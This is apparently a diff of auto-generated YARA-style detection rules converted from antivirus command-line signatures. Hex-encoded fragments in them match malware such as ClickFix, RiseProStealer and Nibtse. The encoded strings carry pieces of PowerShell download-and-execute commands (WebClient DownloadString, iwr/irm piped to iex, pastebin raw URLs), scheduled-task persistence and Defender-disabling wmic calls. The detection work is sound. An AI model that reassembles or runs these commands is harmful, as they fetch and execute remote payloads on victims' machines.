6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 49 21 4d 54 42 00 01 00 58 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 } //21283 + $a_00_1 = {6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 28 00 5b 00 62 00 79 00 74 00 65 00 5b 00 5d 00 5d 00 24 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 1a 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115) >=4 + +} +rule _InfrastructureShared_27999{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 50 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 42 00 67 00 77 00 6d 00 69 00 20 00 57 00 69 00 6e 00 33 00 } //21283 + $a_00_1 = {43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 53 00 79 00 73 00 74 00 65 00 6d 00 29 00 2e 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 0a 00 34 00 53 00 74 00 61 00 72 00 74 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 68 00 6f 00 72 00 74 00 75 00 72 00 6c 00 2e 00 61 } //50 + $a_00_3 = {56 00 65 00 72 00 69 00 66 00 } //10 Verif + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*50+(#a_00_3 & 1)*10) >=130 + +} +rule _InfrastructureShared_28000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " @@ -345126,7 +365990,7 @@ rule _InfrastructureShared_26388{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_26389{ +rule _InfrastructureShared_28001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " @@ -345137,7 +366001,7 @@ rule _InfrastructureShared_26389{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*-28672) >=4 } -rule _InfrastructureShared_26390{ +rule _InfrastructureShared_28002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 08 00 21 " @@ -345146,27 +366010,83 @@ rule _InfrastructureShared_26390{ $a_00_2 = {73 00 61 00 67 00 65 00 70 00 61 00 74 00 68 00 3d 00 01 00 14 00 70 00 68 00 6f 00 6e 00 65 00 70 00 61 00 74 00 68 00 3d 00 01 00 10 00 6c 00 6f 00 67 00 70 00 61 00 74 00 68 00 3d 00 01 00 16 00 75 00 73 00 65 00 72 00 70 00 65 00 72 00 73 00 6d 00 73 00 3d 00 01 00 12 00 69 00 6e 00 74 00 65 00 72 00 76 00 61 00 6c 00 3d 00 00 00 d7 d1 00 } //101 $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 73 65 50 72 6f 53 74 65 61 6c 65 72 2e 41 41 } //8 LF:Trojan:Win32/RiseProStealer.AA $a_42_5 = {0a 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 0a 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 0a 00 2e 00 4f 00 66 00 66 00 69 00 63 00 65 00 54 00 72 00 61 00 63 00 6b 00 65 00 72 00 4e 00 4d 00 50 00 31 00 33 00 31 00 2e 00 65 00 } //19745 - $a_00_6 = {0a 00 06 00 2f 00 73 00 63 00 0a 00 06 00 2f 00 72 00 6c 00 0a 00 0e 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 01 00 0c 00 48 00 4f 00 55 00 52 00 4c 00 59 00 01 00 0e 00 4f 00 4e 00 4c 00 4f 00 47 00 4f 00 4e 00 00 00 d7 d4 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //120 - $a_69_7 = {74 73 65 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 49 00 45 00 58 00 01 00 3e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 } //12082 + $a_00_6 = {0a 00 06 00 2f 00 73 00 63 00 0a 00 06 00 2f 00 72 00 6c 00 0a 00 0e 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 01 00 0c 00 48 00 4f 00 55 00 52 00 4c 00 59 00 01 00 0e 00 4f 00 4e 00 4c 00 4f 00 47 00 4f 00 4e 00 00 00 d7 d2 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //120 + $a_6c_7 = {63 6b 46 69 78 2e 5a 5a 55 21 4d 54 42 00 01 00 90 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 } //12082 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_23_4 & 1)*8+(#a_42_5 & 1)*19745+(#a_00_6 & 1)*120+(#a_69_7 & 1)*12082) >=8 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_23_4 & 1)*8+(#a_42_5 & 1)*19745+(#a_00_6 & 1)*120+(#a_6c_7 & 1)*12082) >=8 } -rule _InfrastructureShared_26391{ +rule _InfrastructureShared_28003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3d 00 3d 00 08 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 73 65 50 72 6f 53 74 65 61 6c 65 72 2e 41 41 21 4d 54 42 00 0a 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 0a 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 0a 00 2e } //21283 $a_00_2 = {63 00 65 00 54 00 72 00 61 00 63 00 6b 00 65 00 72 00 4e 00 4d 00 50 00 31 00 33 00 31 00 2e 00 65 00 78 00 65 00 0a 00 06 00 2f 00 73 00 63 00 0a 00 06 00 2f 00 72 00 6c 00 0a 00 0e 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 01 00 0c 00 48 00 4f 00 55 00 52 00 4c 00 59 00 01 00 0e 00 4f 00 4e 00 4c 00 4f 00 47 } //102 - $a_d4_4 = {00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 62 74 73 65 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 49 00 45 00 58 00 01 00 3e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 48 02 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 90 02 20 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2f 00 90 00 00 00 d7 d5 } //0 - $a_00_5 = {01 } //0 - $a_3a_7 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 46 6f 72 67 65 72 69 2e 41 21 72 66 6e 00 01 00 24 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 2e 00 63 00 6d 00 64 00 01 00 32 00 5c 00 74 00 } //17748 + $a_d2_4 = {00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 55 21 4d 54 42 00 01 00 90 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 57 00 69 00 74 00 68 00 50 00 61 00 72 00 74 00 69 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 28 00 27 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 27 00 01 00 0e 00 68 00 69 00 64 00 64 00 64 00 65 00 6e 00 00 00 d7 d2 00 00 } //0 + $a_00_5 = {03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 54 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 38 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 28 00 63 00 75 00 72 00 6c 00 20 00 2d 00 55 00 72 00 } //120 + $a_00_6 = {4e 00 7c 00 20 00 53 00 65 00 } //105 N| Se + $a_00_7 = {63 00 74 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 45 00 78 00 70 00 61 00 6e 00 64 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 d3 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 58 6d 69 72 67 2e 5a 41 21 4d 54 } //108 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*102+(#a_d4_4 & 1)*0+(#a_00_5 & 1)*0+(#a_3a_7 & 1)*17748) >=61 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*102+(#a_d2_4 & 1)*0+(#a_00_5 & 1)*120+(#a_00_6 & 1)*105+(#a_00_7 & 1)*108) >=61 } -rule _InfrastructureShared_26392{ +rule _InfrastructureShared_28004{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 55 21 4d 54 42 00 01 00 90 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 } //21283 + $a_00_1 = {6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 57 00 69 00 74 00 68 00 50 00 61 00 72 00 74 00 69 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 28 00 27 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 27 00 01 00 0e } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115) >=2 + +} +rule _InfrastructureShared_28005{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 54 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 38 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 } //21283 + $a_00_1 = {65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 28 00 63 00 75 00 72 00 6c 00 20 00 2d 00 55 00 72 00 69 00 0a 00 4e 00 7c 00 20 00 53 00 65 00 6c 00 65 00 63 00 74 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 45 00 78 00 70 00 61 00 6e 00 64 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112) >=120 + +} +rule _InfrastructureShared_28006{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 58 6d 69 72 67 2e 5a 41 21 4d 54 42 00 01 00 ae 00 73 00 63 00 20 00 73 00 74 00 6f 00 70 00 20 00 55 00 73 00 6f 00 53 00 76 00 63 00 20 00 26 00 20 00 73 00 63 00 20 00 73 00 74 00 6f 00 70 00 20 00 57 00 61 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_28007{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 43 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 26 00 90 00 0a 00 1c 00 2b 00 28 00 47 00 65 00 74 } //21283 + $a_00_2 = {64 00 6f 00 6d 00 29 00 2b 00 01 00 2f 02 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 90 00 01 00 2f 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 } //97 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97) >=111 + +} +rule _InfrastructureShared_28008{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 52 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 3e 00 4e 00 65 00 74 00 2e 00 57 } //21283 + $a_00_2 = {69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 0a 00 1e 00 2d 00 50 00 61 00 73 00 73 00 74 00 68 00 72 00 75 00 29 00 3a 00 3a 00 72 00 28 00 29 00 0a 00 1e 00 2d 00 4e 00 61 00 6d 00 65 00 20 00 78 00 20 00 2d 00 4d 00 65 00 6d 00 62 00 } //67 + $a_00_3 = {00 00 d7 d4 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 62 74 73 65 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 49 00 45 00 58 00 01 00 3e 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*67+(#a_00_3 & 1)*101) >=130 + +} +rule _InfrastructureShared_28009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -345177,7 +366097,45 @@ rule _InfrastructureShared_26392{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*101) >=4 } -rule _InfrastructureShared_26393{ +rule _InfrastructureShared_28010{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 44 41 21 4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 1a 00 24 00 65 00 6e 00 76 00 3a 00 } //21283 + $a_00_1 = {45 00 52 00 4e 00 41 00 4d 00 45 00 01 00 38 00 5b 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 46 00 6f 00 6c 00 64 00 65 00 72 00 50 00 61 00 74 00 68 00 01 00 1a 00 53 00 74 00 61 00 72 } //85 + $a_00_3 = {6f 00 63 00 65 00 73 00 73 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 d4 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 41 00 0a 00 30 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 90 02 20 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 90 02 20 } //80 + $a_00_4 = {64 00 90 00 0a 00 3e 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 90 02 20 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 90 02 20 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 0a 00 32 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 90 02 20 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*85+(#a_00_3 & 1)*80+(#a_00_4 & 1)*99) >=5 + +} +rule _InfrastructureShared_28011{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 41 00 0a 00 30 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 90 02 20 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 90 02 20 63 00 6d 00 64 00 } //21283 + $a_00_1 = {3e 02 63 00 6f 00 6e 00 68 00 } //144 Ⱦconh + $a_00_2 = {74 00 90 02 20 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 90 02 20 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 0a 00 32 02 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 90 02 20 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 90 02 20 77 00 6d 00 69 00 63 00 90 00 00 00 d7 d4 00 00 6f 00 6f 00 05 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144+(#a_00_2 & 1)*111) >=11 + +} +rule _InfrastructureShared_28012{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 44 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2a 00 3c 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2f 00 } //21283 + $a_00_1 = {70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 0a 00 2a 00 3c 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 01 00 16 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 3e 00 26 00 26 00 01 00 16 00 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 3e 00 26 00 26 00 00 00 } //101 + $a_00_3 = {03 } //1 + $a_54_4 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 46 6f 72 67 65 72 69 2e 41 21 72 66 6e 00 01 00 24 00 } //8448 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*1+(#a_54_4 & 1)*8448) >=111 + +} +rule _InfrastructureShared_28013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -345189,7 +366147,7 @@ rule _InfrastructureShared_26393{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=1 } -rule _InfrastructureShared_26394{ +rule _InfrastructureShared_28014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -345200,7 +366158,7 @@ rule _InfrastructureShared_26394{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1) >=2 } -rule _InfrastructureShared_26395{ +rule _InfrastructureShared_28015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -345212,7 +366170,21 @@ rule _InfrastructureShared_26395{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*109+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_26396{ +rule _InfrastructureShared_28016{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 4a 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 } //21283 + $a_00_1 = {6c 00 6c 00 0a 00 1e 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 63 00 6f 00 6d 00 0a 00 14 00 2e 00 53 00 65 00 6e 00 64 00 4b 00 65 00 79 00 73 00 28 00 01 00 0a 00 66 00 6f 00 72 00 20 00 28 00 01 00 0c 00 77 00 68 00 69 00 6c 00 65 00 28 00 01 00 18 00 41 00 70 00 70 } //104 + $a_00_3 = {76 00 61 00 74 00 65 00 28 00 00 00 d7 d7 00 00 03 00 03 00 05 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 34 2d 33 38 30 37 37 2e 42 21 64 68 61 00 03 00 28 00 43 00 56 00 45 00 2d 00 32 00 30 00 32 00 34 00 2d 00 33 00 38 00 30 00 37 00 37 00 90 00 02 00 10 00 2e 00 70 00 } //116 + $a_00_4 = {16 } //121 + $a_00_6 = {72 00 67 00 65 00 74 00 5f 00 69 00 70 00 01 00 12 00 2d 00 2d 00 65 00 76 00 69 00 6c 00 5f 00 69 00 70 00 01 00 1e 00 2d 00 2d 00 65 00 76 00 69 00 6c 00 5f 00 64 00 6c 00 6c 00 5f 00 70 00 61 00 74 00 68 00 01 00 24 00 2d 00 2d 00 63 00 68 00 65 00 63 00 6b 00 5f 00 76 00 75 00 6c 00 6e } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_3 & 1)*116+(#a_00_4 & 1)*121+(#a_00_6 & 1)*116) >=131 + +} +rule _InfrastructureShared_28017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 21 " @@ -345224,7 +366196,7 @@ rule _InfrastructureShared_26396{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*45+(#a_00_4 & 1)*0) >=3 } -rule _InfrastructureShared_26397{ +rule _InfrastructureShared_28018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,16 00 16 00 04 00 21 " @@ -345236,7 +366208,7 @@ rule _InfrastructureShared_26397{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_3 & 1)*124) >=22 } -rule _InfrastructureShared_26398{ +rule _InfrastructureShared_28019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -345248,19 +366220,37 @@ rule _InfrastructureShared_26398{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*102+(#a_00_2 & 1)*100) >=3 } -rule _InfrastructureShared_26399{ +rule _InfrastructureShared_28020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 57 61 74 72 6d 65 65 72 61 2e 41 21 64 68 61 00 01 00 14 00 77 00 65 00 72 00 6d 00 67 00 72 00 2e 00 65 00 78 00 65 00 01 00 0e 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 01 00 10 00 } //21283 $a_00_1 = {73 00 74 00 65 00 6d 00 33 00 32 00 9c ff 3a 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 77 00 65 00 72 00 6d 00 67 00 72 00 2e 00 65 00 78 00 65 00 9c ff 2c 00 5c 00 64 00 65 00 76 00 69 00 63 00 65 00 5c 00 68 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 76 00 6f 00 6c 00 75 00 6d 00 65 } //115 - $a_00_3 = {01 } //0 + $a_00_3 = {37 00 0a 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 4b 56 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 } //0 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_3 & 1)*0) >=3 } -rule _InfrastructureShared_26400{ +rule _InfrastructureShared_28021{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,37 00 37 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 4b 56 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0a 00 2d 00 4e 00 6f 00 6e 00 49 00 0a 00 12 00 2d 00 57 00 } //21283 + $a_00_1 = {69 00 64 00 64 00 65 00 6e 00 0a 00 0c 00 42 00 79 00 70 00 61 00 73 00 73 00 0a 00 08 00 7c 00 69 00 65 00 78 00 01 00 06 00 69 00 77 00 72 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 16 00 67 00 6c 00 61 00 75 00 } //32 + $a_00_2 = {72 00 61 00 6c 00 69 00 61 00 01 00 18 00 76 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 01 00 04 00 5c 00 31 00 00 00 d7 d9 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 65 74 43 6f 6c 6c 65 63 74 2e 41 21 64 68 61 00 01 00 a9 02 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 } //115 + $a_00_3 = {73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 63 00 68 00 63 00 70 00 20 00 36 00 35 00 30 00 30 00 31 00 90 02 30 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 61 00 72 00 70 00 20 } //115 + $a_20_5 = {32 00 3e 00 26 00 31 00 20 00 26 00 20 00 74 00 69 00 6d 00 65 00 6f 00 75 00 74 00 90 02 20 20 00 26 00 20 00 64 00 65 00 6c 00 90 00 00 00 d7 d9 00 00 01 00 01 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 50 54 61 } //656 + $a_72_6 = {64 52 75 6e 2e 43 00 01 00 32 02 77 00 6d 00 69 00 63 00 90 02 ff 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 90 02 ff 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 90 00 01 00 38 02 77 00 6d 00 69 00 63 00 90 02 